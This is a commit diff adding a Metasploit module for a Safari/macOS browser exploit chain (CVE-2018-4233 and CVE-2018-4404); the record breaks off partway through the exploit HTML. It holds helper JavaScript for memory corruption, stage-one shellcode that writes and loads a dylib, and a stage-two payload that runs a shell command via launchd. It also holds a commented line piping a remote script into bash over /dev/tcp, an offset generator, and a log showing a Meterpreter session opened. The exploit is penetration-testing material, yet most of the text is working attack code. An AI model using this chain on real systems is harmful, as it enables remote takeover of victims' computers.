Land #10944, Add macOS Safari exploit from pwn2own2018
commit
cc7cb7302e
|
@ -0,0 +1,182 @@
|
||||||
|
//
|
||||||
|
// Tiny module that provides big (64bit) integers.
|
||||||
|
//
|
||||||
|
// Copyright (c) 2016 Samuel Groß
|
||||||
|
//
|
||||||
|
// Requires utils.js
|
||||||
|
//
|
||||||
|
|
||||||
|
// Datatype to represent 64-bit integers.
|
||||||
|
//
|
||||||
|
// Internally, the integer is stored as a Uint8Array in little endian byte order.
|
||||||
|
function Int64(v) {
|
||||||
|
// The underlying byte array.
|
||||||
|
var bytes = new Uint8Array(8);
|
||||||
|
|
||||||
|
switch (typeof v) {
|
||||||
|
case 'number':
|
||||||
|
v = '0x' + Math.floor(v).toString(16);
|
||||||
|
case 'string':
|
||||||
|
if (v.startsWith('0x'))
|
||||||
|
v = v.substr(2);
|
||||||
|
if (v.length % 2 == 1)
|
||||||
|
v = '0' + v;
|
||||||
|
|
||||||
|
var bigEndian = unhexlify(v, 8);
|
||||||
|
bytes.set(Array.from(bigEndian).reverse());
|
||||||
|
break;
|
||||||
|
case 'object':
|
||||||
|
if (v instanceof Int64) {
|
||||||
|
bytes.set(v.bytes());
|
||||||
|
} else {
|
||||||
|
if (v.length != 8)
|
||||||
|
throw TypeError("Array must have excactly 8 elements.");
|
||||||
|
bytes.set(v);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 'undefined':
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw TypeError("Int64 constructor requires an argument.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return a double whith the same underlying bit representation.
|
||||||
|
this.asDouble = function() {
|
||||||
|
// Check for NaN
|
||||||
|
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
|
||||||
|
throw new RangeError("Integer can not be represented by a double");
|
||||||
|
|
||||||
|
return Struct.unpack(Struct.float64, bytes);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Return a javascript value with the same underlying bit representation.
|
||||||
|
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
|
||||||
|
// due to double conversion constraints.
|
||||||
|
this.asJSValue = function() {
|
||||||
|
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
|
||||||
|
throw new RangeError("Integer can not be represented by a JSValue");
|
||||||
|
|
||||||
|
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
|
||||||
|
this.assignSub(this, 0x1000000000000);
|
||||||
|
var res = Struct.unpack(Struct.float64, bytes);
|
||||||
|
this.assignAdd(this, 0x1000000000000);
|
||||||
|
|
||||||
|
return res;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Return the underlying bytes of this number as array.
|
||||||
|
this.bytes = function() {
|
||||||
|
return Array.from(bytes);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Return the byte at the given index.
|
||||||
|
this.byteAt = function(i) {
|
||||||
|
return bytes[i];
|
||||||
|
};
|
||||||
|
|
||||||
|
// Return the value of this number as unsigned hex string.
|
||||||
|
this.toString = function() {
|
||||||
|
return '0x' + hexlify(Array.from(bytes).reverse());
|
||||||
|
};
|
||||||
|
|
||||||
|
// Basic arithmetic.
|
||||||
|
// These functions assign the result of the computation to their 'this' object.
|
||||||
|
|
||||||
|
// Decorator for Int64 instance operations. Takes care
|
||||||
|
// of converting arguments to Int64 instances if required.
|
||||||
|
function operation(f, nargs) {
|
||||||
|
return function() {
|
||||||
|
if (arguments.length != nargs)
|
||||||
|
throw Error("Not enough arguments for function " + f.name);
|
||||||
|
for (var i = 0; i < arguments.length; i++)
|
||||||
|
if (!(arguments[i] instanceof Int64))
|
||||||
|
arguments[i] = new Int64(arguments[i]);
|
||||||
|
return f.apply(this, arguments);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// this = -n (two's complement)
|
||||||
|
this.assignNeg = operation(function neg(n) {
|
||||||
|
for (var i = 0; i < 8; i++)
|
||||||
|
bytes[i] = ~n.byteAt(i);
|
||||||
|
|
||||||
|
return this.assignAdd(this, Int64.One);
|
||||||
|
}, 1);
|
||||||
|
|
||||||
|
// this = a + b
|
||||||
|
this.assignAdd = operation(function add(a, b) {
|
||||||
|
var carry = 0;
|
||||||
|
for (var i = 0; i < 8; i++) {
|
||||||
|
var cur = a.byteAt(i) + b.byteAt(i) + carry;
|
||||||
|
carry = cur > 0xff | 0;
|
||||||
|
bytes[i] = cur;
|
||||||
|
}
|
||||||
|
return this;
|
||||||
|
}, 2);
|
||||||
|
|
||||||
|
// this = a - b
|
||||||
|
this.assignSub = operation(function sub(a, b) {
|
||||||
|
var carry = 0;
|
||||||
|
for (var i = 0; i < 8; i++) {
|
||||||
|
var cur = a.byteAt(i) - b.byteAt(i) - carry;
|
||||||
|
carry = cur < 0 | 0;
|
||||||
|
bytes[i] = cur;
|
||||||
|
}
|
||||||
|
return this;
|
||||||
|
}, 2);
|
||||||
|
|
||||||
|
// this = a ^ b
|
||||||
|
this.assignXor = operation(function sub(a, b) {
|
||||||
|
for (var i = 0; i < 8; i++) {
|
||||||
|
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
|
||||||
|
}
|
||||||
|
return this;
|
||||||
|
}, 2);
|
||||||
|
|
||||||
|
// this = a & b
|
||||||
|
this.assignAnd = operation(function sub(a, b) {
|
||||||
|
for (var i = 0; i < 8; i++) {
|
||||||
|
bytes[i] = a.byteAt(i) & b.byteAt(i);
|
||||||
|
}
|
||||||
|
return this;
|
||||||
|
}, 2)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
||||||
|
Int64.fromDouble = function(d) {
|
||||||
|
var bytes = Struct.pack(Struct.float64, d);
|
||||||
|
return new Int64(bytes);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Convenience functions. These allocate a new Int64 to hold the result.
|
||||||
|
|
||||||
|
// Return -n (two's complement)
|
||||||
|
function Neg(n) {
|
||||||
|
return (new Int64()).assignNeg(n);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return a + b
|
||||||
|
function Add(a, b) {
|
||||||
|
return (new Int64()).assignAdd(a, b);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return a - b
|
||||||
|
function Sub(a, b) {
|
||||||
|
return (new Int64()).assignSub(a, b);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return a ^ b
|
||||||
|
function Xor(a, b) {
|
||||||
|
return (new Int64()).assignXor(a, b);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return a & b
|
||||||
|
function And(a, b) {
|
||||||
|
return (new Int64()).assignAnd(a, b);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Some commonly used numbers.
|
||||||
|
Int64.Zero = new Int64(0);
|
||||||
|
Int64.One = new Int64(1);
|
||||||
|
|
||||||
|
// That's all the arithmetic we need for exploiting WebKit.. :)
|
Binary file not shown.
|
@ -0,0 +1,78 @@
|
||||||
|
//
|
||||||
|
// Utility functions.
|
||||||
|
//
|
||||||
|
// Copyright (c) 2016 Samuel Groß
|
||||||
|
//
|
||||||
|
|
||||||
|
// Return the hexadecimal representation of the given byte.
|
||||||
|
function hex(b) {
|
||||||
|
return ('0' + b.toString(16)).substr(-2);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return the hexadecimal representation of the given byte array.
|
||||||
|
function hexlify(bytes) {
|
||||||
|
var res = [];
|
||||||
|
for (var i = 0; i < bytes.length; i++)
|
||||||
|
res.push(hex(bytes[i]));
|
||||||
|
|
||||||
|
return res.join('');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return the binary data represented by the given hexdecimal string.
|
||||||
|
function unhexlify(hexstr) {
|
||||||
|
if (hexstr.length % 2 == 1)
|
||||||
|
throw new TypeError("Invalid hex string");
|
||||||
|
|
||||||
|
var bytes = new Uint8Array(hexstr.length / 2);
|
||||||
|
for (var i = 0; i < hexstr.length; i += 2)
|
||||||
|
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
|
||||||
|
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
function hexdump(data) {
|
||||||
|
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
|
||||||
|
data = Array.from(data);
|
||||||
|
|
||||||
|
var lines = [];
|
||||||
|
for (var i = 0; i < data.length; i += 16) {
|
||||||
|
var chunk = data.slice(i, i+16);
|
||||||
|
var parts = chunk.map(hex);
|
||||||
|
if (parts.length > 8)
|
||||||
|
parts.splice(8, 0, ' ');
|
||||||
|
lines.push(parts.join(' '));
|
||||||
|
}
|
||||||
|
|
||||||
|
return lines.join('\n');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Simplified version of the similarly named python module.
|
||||||
|
var Struct = (function() {
|
||||||
|
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
|
||||||
|
var buffer = new ArrayBuffer(8);
|
||||||
|
var byteView = new Uint8Array(buffer);
|
||||||
|
var uint32View = new Uint32Array(buffer);
|
||||||
|
var float64View = new Float64Array(buffer);
|
||||||
|
|
||||||
|
return {
|
||||||
|
pack: function(type, value) {
|
||||||
|
var view = type; // See below
|
||||||
|
view[0] = value;
|
||||||
|
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
|
||||||
|
},
|
||||||
|
|
||||||
|
unpack: function(type, bytes) {
|
||||||
|
if (bytes.length !== type.BYTES_PER_ELEMENT)
|
||||||
|
throw Error("Invalid bytearray");
|
||||||
|
|
||||||
|
var view = type; // See below
|
||||||
|
byteView.set(bytes);
|
||||||
|
return view[0];
|
||||||
|
},
|
||||||
|
|
||||||
|
// Available types.
|
||||||
|
int8: byteView,
|
||||||
|
int32: uint32View,
|
||||||
|
float64: float64View
|
||||||
|
};
|
||||||
|
})();
|
Binary file not shown.
|
@ -0,0 +1,84 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module exploits a type confusion bug in the Javascript Proxy object in
|
||||||
|
WebKit. Safari on OSX 10.13.3 and lower are affected. The JS Proxy object
|
||||||
|
was introduced in Safari 10, so OSX 10.11 is not affected by the type
|
||||||
|
confusion, however the sandbox escape may still work.
|
||||||
|
|
||||||
|
The DFG JIT does not take into account that, through the use of a Proxy,
|
||||||
|
it is possible to run arbitrary JS code during the execution of a CreateThis
|
||||||
|
operation. This makes it possible to change the structure of e.g. an argument
|
||||||
|
without causing a bailout, leading to a type confusion (CVE-2018-4233).
|
||||||
|
|
||||||
|
The JIT region is then replaced with shellcode which loads the second stage.
|
||||||
|
The second stage exploits a logic error in libxpc, which uses command execution
|
||||||
|
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start `msfconsole`
|
||||||
|
1. `use exploit/osx/browser/safari_proxy_object_type_confusion`
|
||||||
|
1. `set LHOST <tab>`
|
||||||
|
1. `exploit`
|
||||||
|
1. Visit the URL on a vulnerable version of Safari
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### High Sierra 10.13
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/osx/browser/safari_proxy_object_type_confusion
|
||||||
|
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > set LHOST 192.168.0.2
|
||||||
|
LHOST => 192.168.0.2
|
||||||
|
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > exploit
|
||||||
|
[*] Exploit running as background job 0.
|
||||||
|
[*] Exploit completed, but no session was created.
|
||||||
|
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
|
||||||
|
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||||
|
[*] Using URL: http://0.0.0.0:8080/0PiuTy
|
||||||
|
[*] Local IP: http://192.168.0.2:8080/0PiuTy
|
||||||
|
[*] Server started.
|
||||||
|
|
||||||
|
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
|
||||||
|
[*] 192.168.0.2 safari_proxy_object_type_confusion - Request from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38
|
||||||
|
[*] Sending stage (53508 bytes) to 192.168.0.2
|
||||||
|
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.2:33200) at 2018-11-20 16:28:59 +0800
|
||||||
|
|
||||||
|
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > sessions 1
|
||||||
|
[*] Starting interaction with 1...
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : Users-iMac.local
|
||||||
|
OS : Darwin 17.0.0 Darwin Kernel Version 17.0.0: Thu Aug 24 21:48:19 PDT 2017; root:xnu-4570.1.46~2/RELEASE_X86_64
|
||||||
|
Architecture : x64
|
||||||
|
Meterpreter : python/osx
|
||||||
|
```
|
||||||
|
|
||||||
|
### Adding offsets for new versions
|
||||||
|
|
||||||
|
Although all macOS versions from 10.12 -> 10.13.3 are vulnerable, some versions
|
||||||
|
are not supported. It's easy to add support for a vulnerable version by running
|
||||||
|
the script `external/source/exploits/CVE-2018-4404/gen_offsets.rb` on the
|
||||||
|
target version.
|
||||||
|
|
||||||
|
You will need to install the latest radare2 for the script to function.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh && cd ..`
|
||||||
|
$ ruby external/source/exploits/CVE-2018-4404/gen_offsets.rb
|
||||||
|
'10.13' => {
|
||||||
|
:dyld_stub_loader => '0x000012a8',
|
||||||
|
:dlopen => '0x00002e60',
|
||||||
|
:confstr => '0x000024fc',
|
||||||
|
:strlen => '0x00001440',
|
||||||
|
:strlen_got => '0xee8',
|
||||||
|
},
|
||||||
|
```
|
||||||
|
|
||||||
|
The offset `:jsc_vtab` cannot be generated but you can guess it is either 0xe000 or 0xd000.
|
||||||
|
You can then add the offsets to the module:
|
||||||
|
`modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb`
|
||||||
|
|
||||||
|
Please don't forget to contribute the offsets back to the framework if you have
|
||||||
|
successfully tested them.
|
||||||
|
|
|
@ -0,0 +1,13 @@
|
||||||
|
|
||||||
|
all:
|
||||||
|
+$(MAKE) -C stage1
|
||||||
|
+$(MAKE) -C stage2
|
||||||
|
|
||||||
|
install:
|
||||||
|
cp stage1/stage1.bin ../../../../data/exploits/CVE-2018-4233/stage1.bin
|
||||||
|
cp stage2/stage2.dylib ../../../../data/exploits/CVE-2018-4404/stage2.dylib
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f stage1/stage1.bin
|
||||||
|
rm -f stage2/stage2.dylib
|
||||||
|
|
|
@ -0,0 +1,30 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
#`brew install radare2` <-- older version :(
|
||||||
|
#`git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh`
|
||||||
|
|
||||||
|
def grab_offset(lib_file, function)
|
||||||
|
offset_string = `r2 -2qQ -c 'aa; afl | grep #{function}' #{lib_file}`
|
||||||
|
offset_string[0..9]
|
||||||
|
end
|
||||||
|
|
||||||
|
version = `sw_vers -productVersion`.strip
|
||||||
|
puts " '#{version}' => {"
|
||||||
|
puts " :dyld_stub_loader => '#{grab_offset("/usr/lib/system/libdyld.dylib", "dyld_stub_binder")}',"
|
||||||
|
puts " :dlopen => '#{grab_offset("/usr/lib/system/libdyld.dylib", "sym._dlopen")}',"
|
||||||
|
puts " :confstr => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._confstr")}',"
|
||||||
|
puts " :strlen => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._strlen")}',"
|
||||||
|
|
||||||
|
strlen_disasm = `r2 -2qQ -c "iS | grep nl_symbol_ptr; s sym.imp.strlen; pd 1" /System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore`
|
||||||
|
#strlen_disasm = '''
|
||||||
|
#12 0x00b67000 16 0x00b66000 16 -rw- 12.__DATA.__nl_symbol_ptr
|
||||||
|
#;-- imp.strlen:
|
||||||
|
#0x00ace162 ff25808d0900 jmp qword [0x00b66ee8] ; [0xb66ee8:8]=0xacf30e
|
||||||
|
#'''
|
||||||
|
got_offset = strlen_disasm.split(" ")[3].to_i(16)
|
||||||
|
strlen_got_entry = strlen_disasm.scan(/\[(\S+)\]/).first.first.to_i(16)
|
||||||
|
strlen_got_offset = (strlen_got_entry - got_offset).to_s(16)
|
||||||
|
puts " :strlen_got => '0x#{strlen_got_offset}',"
|
||||||
|
puts " },"
|
||||||
|
|
|
@ -0,0 +1,7 @@
|
||||||
|
|
||||||
|
.PHONY: all
|
||||||
|
all: stage1.js
|
||||||
|
|
||||||
|
stage1.js: stage1.asm
|
||||||
|
@nasm -o stage1.bin stage1.asm
|
||||||
|
|
|
@ -0,0 +1,70 @@
|
||||||
|
BITS 64
|
||||||
|
|
||||||
|
start:
|
||||||
|
; int 3
|
||||||
|
|
||||||
|
; Step 0: function prologue
|
||||||
|
sub rsp, 0x1008 ; ensure 16-byte alignment
|
||||||
|
|
||||||
|
; Step 1: call confstr() and build the path to our stage 2 .dylib on the stack
|
||||||
|
mov rdx, 0x1000
|
||||||
|
mov rsi, rsp
|
||||||
|
mov rdi, 65537 ; _CS_DARWIN_USER_TEMP_DIR
|
||||||
|
mov rax, 0x4141414141414141 ; will be replaced with &confstr
|
||||||
|
call rax ; confstr()
|
||||||
|
test rax, rax
|
||||||
|
jnz build_path
|
||||||
|
mov rax, 0xffff000000000001 ; return 1 to indicate failure in confstr
|
||||||
|
jmp exit
|
||||||
|
|
||||||
|
build_path:
|
||||||
|
dec rax
|
||||||
|
mov rcx, rsp
|
||||||
|
add rcx, rax
|
||||||
|
mov dword [rcx], 0x79642e78 ; x.dy
|
||||||
|
mov dword [rcx+4], 0x62696c ; lib\x00
|
||||||
|
|
||||||
|
; Step 2: write dylib to filesystem
|
||||||
|
mov rax, 0x2000005 ; sys_open
|
||||||
|
mov rdi, rsp ; path
|
||||||
|
mov rdx, 0x1ed ; protections (0644)
|
||||||
|
mov rsi, 0x602 ; O_TRUNC | O_CREAT | O_RDWR
|
||||||
|
syscall
|
||||||
|
jnb write_file
|
||||||
|
mov rax, 0xffff000000000002 ; return 2 to indicate failure in open
|
||||||
|
jmp exit
|
||||||
|
|
||||||
|
write_file:
|
||||||
|
mov rdi, rax
|
||||||
|
mov rsi, 0x4242424242424242
|
||||||
|
mov r8, 0x4343434343434343 ; rdx is set to zero during the syscall...
|
||||||
|
write_loop:
|
||||||
|
mov rdx, r8
|
||||||
|
mov rax, 0x2000004 ; sys_write
|
||||||
|
syscall
|
||||||
|
jnb write_succeeded
|
||||||
|
mov rax, 0xffff000000000003 ; return 3 to indicate failure in write
|
||||||
|
jmp exit
|
||||||
|
write_succeeded:
|
||||||
|
sub r8, rax
|
||||||
|
add rsi, rax
|
||||||
|
test r8, r8
|
||||||
|
jnz write_loop
|
||||||
|
|
||||||
|
; Step 3: open dylib with dlopen
|
||||||
|
dlopen:
|
||||||
|
xor rsi, rsi
|
||||||
|
mov rdi, rsp
|
||||||
|
mov rax, 0x4444444444444444 ; will be replaced with &dlopen
|
||||||
|
call rax
|
||||||
|
test rax, rax
|
||||||
|
jnz exit_success
|
||||||
|
mov rax, 0xffff000000000004 ; return 4 to indicate failure in dlopen
|
||||||
|
jmp exit
|
||||||
|
|
||||||
|
; Step 4: function epilogue and return
|
||||||
|
exit_success:
|
||||||
|
mov rax, 0xffff000000000000 ; return 0 for success
|
||||||
|
exit:
|
||||||
|
add rsp, 0x1008
|
||||||
|
ret
|
|
@ -0,0 +1,8 @@
|
||||||
|
CC = clang
|
||||||
|
|
||||||
|
.PHONY: all
|
||||||
|
all: stage2.dylib
|
||||||
|
|
||||||
|
stage2.dylib: payload.c
|
||||||
|
$(CC) -shared -o stage2.dylib payload.c
|
||||||
|
|
|
@ -0,0 +1,42 @@
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#include <mach/mach_port.h>
|
||||||
|
|
||||||
|
struct spawn_via_launchd_attr {
|
||||||
|
uint64_t spawn_flags;
|
||||||
|
const char *spawn_path;
|
||||||
|
const char *spawn_chdir;
|
||||||
|
const char * const * spawn_env;
|
||||||
|
const mode_t *spawn_umask;
|
||||||
|
mach_port_t *spawn_observer_port;
|
||||||
|
const cpu_type_t *spawn_binpref;
|
||||||
|
size_t spawn_binpref_cnt;
|
||||||
|
void * spawn_quarantine;
|
||||||
|
const char *spawn_seatbelt_profile;
|
||||||
|
const uint64_t *spawn_seatbelt_flags;
|
||||||
|
};
|
||||||
|
|
||||||
|
#define spawn_via_launchd(a, b, c) _spawn_via_launchd(a, b, c, 3)
|
||||||
|
pid_t _spawn_via_launchd(const char *label, const char * const *argv, const struct spawn_via_launchd_attr *spawn_attrs, int struct_version);
|
||||||
|
|
||||||
|
const char payload_cmd_placeholder[1024] = "PAYLOAD_CMD_PLACEHOLDER";
|
||||||
|
|
||||||
|
__attribute__((constructor))
|
||||||
|
void _injection()
|
||||||
|
{
|
||||||
|
const char* argv[] = {
|
||||||
|
"/bin/bash",
|
||||||
|
"-c",
|
||||||
|
payload_cmd_placeholder,
|
||||||
|
/*"open /Applications/Calculator.app/Contents/MacOS/Calculator",*/
|
||||||
|
/*"curl http://" HOST ":" HTTP_PORT "/pwn.sh | bash > /dev/tcp/" HOST "/" TCPLOG_PORT " 2>&1",*/
|
||||||
|
0,
|
||||||
|
};
|
||||||
|
|
||||||
|
mach_port_t mpo = MACH_PORT_NULL;
|
||||||
|
struct spawn_via_launchd_attr attrs;
|
||||||
|
memset(&attrs, 0, sizeof(attrs));
|
||||||
|
attrs.spawn_observer_port = &mpo;
|
||||||
|
|
||||||
|
spawn_via_launchd("net.saelo.hax", argv, &attrs);
|
||||||
|
}
|
|
@ -0,0 +1,510 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ManualRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Safari Proxy Object Type Confusion',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a type confusion bug in the Javascript Proxy object in
|
||||||
|
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
|
||||||
|
it is possible to run arbitrary JS code during the execution of a CreateThis
|
||||||
|
operation. This makes it possible to change the structure of e.g. an argument
|
||||||
|
without causing a bailout, leading to a type confusion (CVE-2018-4233).
|
||||||
|
|
||||||
|
The JIT region is then replaced with shellcode which loads the second stage.
|
||||||
|
The second stage exploits a logic error in libxpc, which uses command execution
|
||||||
|
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'saelo' ],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2018-4233'],
|
||||||
|
['CVE', '2018-4404'],
|
||||||
|
['URL', 'https://github.com/saelo/cve-2018-4233'],
|
||||||
|
['URL', 'https://github.com/saelo/pwn2own2018'],
|
||||||
|
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
|
||||||
|
],
|
||||||
|
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
|
||||||
|
'Platform' => 'osx',
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' },
|
||||||
|
'Targets' => [
|
||||||
|
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
|
||||||
|
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Mar 15 2018'))
|
||||||
|
register_advanced_options([
|
||||||
|
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def offset_table
|
||||||
|
{
|
||||||
|
'10.12.6' => {
|
||||||
|
:jsc_vtab => '0x0000d8d8',
|
||||||
|
:dyld_stub_loader => '0x00001168',
|
||||||
|
:dlopen => '0x000027f7',
|
||||||
|
:confstr => '0x00002c84',
|
||||||
|
:strlen => '0x00001b40',
|
||||||
|
:strlen_got => '0xdc0',
|
||||||
|
},
|
||||||
|
'10.13' => {
|
||||||
|
:jsc_vtab => '0x0000e5f8',
|
||||||
|
:dyld_stub_loader => '0x000012a8',
|
||||||
|
:dlopen => '0x00002e60',
|
||||||
|
:confstr => '0x000024fc',
|
||||||
|
:strlen => '0x00001440',
|
||||||
|
:strlen_got => '0xee8',
|
||||||
|
},
|
||||||
|
'10.13.3' => {
|
||||||
|
:jsc_vtab => '0xe5e8',
|
||||||
|
:dyld_stub_loader => '0x1278',
|
||||||
|
:dlopen => '0x2e30',
|
||||||
|
:confstr => '0x24dc',
|
||||||
|
:strlen => '0x1420',
|
||||||
|
:strlen_got => '0xee0',
|
||||||
|
},
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_data(directory, file)
|
||||||
|
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
|
||||||
|
::File.binread path
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage1_js
|
||||||
|
stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
|
||||||
|
"var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage2_js
|
||||||
|
stage2 = exploit_data "CVE-2018-4404", "stage2.dylib"
|
||||||
|
payload_cmd = payload.raw
|
||||||
|
if target['Arch'] == ARCH_PYTHON
|
||||||
|
payload_cmd = "echo \"#{payload_cmd}\" | python"
|
||||||
|
end
|
||||||
|
placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER')
|
||||||
|
stage2[placeholder_index, payload_cmd.length] = payload_cmd
|
||||||
|
"var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);"
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_offsets(user_agent)
|
||||||
|
if user_agent =~ /Intel Mac OS X (.*?)\)/
|
||||||
|
version = $1.gsub("_", ".")
|
||||||
|
mac_osx_version = Gem::Version.new(version)
|
||||||
|
if mac_osx_version >= Gem::Version.new('10.13.4')
|
||||||
|
print_warning "macOS version #{mac_osx_version} is not vulnerable"
|
||||||
|
elsif mac_osx_version < Gem::Version.new('10.12')
|
||||||
|
print_warning "macOS version #{mac_osx_version} is not vulnerable"
|
||||||
|
elsif offset_table.key?(version)
|
||||||
|
offset = offset_table[version]
|
||||||
|
return <<-EOF
|
||||||
|
const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
|
||||||
|
const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
|
||||||
|
const DLOPEN_OFFSET = #{offset[:dlopen]};
|
||||||
|
const CONFSTR_OFFSET = #{offset[:confstr]};
|
||||||
|
const STRLEN_OFFSET = #{offset[:strlen]};
|
||||||
|
const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};
|
||||||
|
EOF
|
||||||
|
else
|
||||||
|
print_warning "No offsets for version #{mac_osx_version}"
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_warning "Unexpected User-Agent"
|
||||||
|
end
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
user_agent = request['User-Agent']
|
||||||
|
print_status("Request from #{user_agent}")
|
||||||
|
offsets = get_offsets(user_agent)
|
||||||
|
unless offsets
|
||||||
|
send_not_found(cli)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
utils = exploit_data "CVE-2018-4233", "utils.js"
|
||||||
|
int64 = exploit_data "CVE-2018-4233", "int64.js"
|
||||||
|
html = %Q^
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
#{stage1_js}
|
||||||
|
stage1.replace = function(oldVal, newVal) {
|
||||||
|
for (var idx = 0; idx < this.length; idx++) {
|
||||||
|
var found = true;
|
||||||
|
for (var j = idx; j < idx + 8; j++) {
|
||||||
|
if (this[j] != oldVal.byteAt(j - idx)) {
|
||||||
|
found = false;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (found)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
this.set(newVal.bytes(), idx);
|
||||||
|
};
|
||||||
|
#{stage2_js}
|
||||||
|
#{utils}
|
||||||
|
#{int64}
|
||||||
|
#{offsets}
|
||||||
|
|
||||||
|
var ready = new Promise(function(resolve) {
|
||||||
|
if (typeof(window) === 'undefined')
|
||||||
|
resolve();
|
||||||
|
else
|
||||||
|
window.onload = function() {
|
||||||
|
resolve();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
ready = Promise.all([ready]);
|
||||||
|
|
||||||
|
print = function(msg) {
|
||||||
|
//console.log(msg);
|
||||||
|
//document.body.innerText += msg + '\\n';
|
||||||
|
}
|
||||||
|
|
||||||
|
// Must create this indexing type transition first,
|
||||||
|
// otherwise the JIT will deoptimize later.
|
||||||
|
var a = [13.37, 13.37];
|
||||||
|
a[0] = {};
|
||||||
|
|
||||||
|
var referenceFloat64Array = new Float64Array(0x1000);
|
||||||
|
|
||||||
|
//
|
||||||
|
